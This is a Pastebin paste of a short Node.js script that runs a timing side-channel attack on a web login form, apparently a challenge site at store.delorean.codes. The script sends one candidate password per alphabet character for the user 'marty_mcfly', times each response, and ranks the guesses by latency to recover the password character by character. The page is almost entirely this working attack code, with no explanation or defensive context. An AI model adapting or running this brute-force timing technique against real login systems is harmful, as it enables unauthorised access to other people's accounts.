Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // @flow
- const fetch = require('node-fetch')
- const URI = 'https://store.delorean.codes/u/robertadkins/login'
- const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
- async function main() {
- const res = await crack('aaaaa');
- console.log(res)
- }
- async function crack(str) {
- const pws = alphabet.split('').map(c => c + str);
- const times = await Promise.all(pws.map(p => req(p)))
- const results = pws
- .map((x, i) => [x, times[i]])
- .sort((a, b) => b[1] - a[1])
- return results;
- }
- function req(password) {
- const body = {
- username: 'marty_mcfly',
- password: password
- }
- const opts = {
- method: 'POST',
- body: Object.keys(body).map(k => `${k}=${body[k]}`).join('&'),
- headers: {
- 'Content-Type': 'application/x-www-form-urlencoded'
- }
- }
- const now = Date.now()
- const res = fetch(URI, opts)
- return res.then(() => Date.now() - now)
- }
- main()
- .then(() => console.log('done'))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement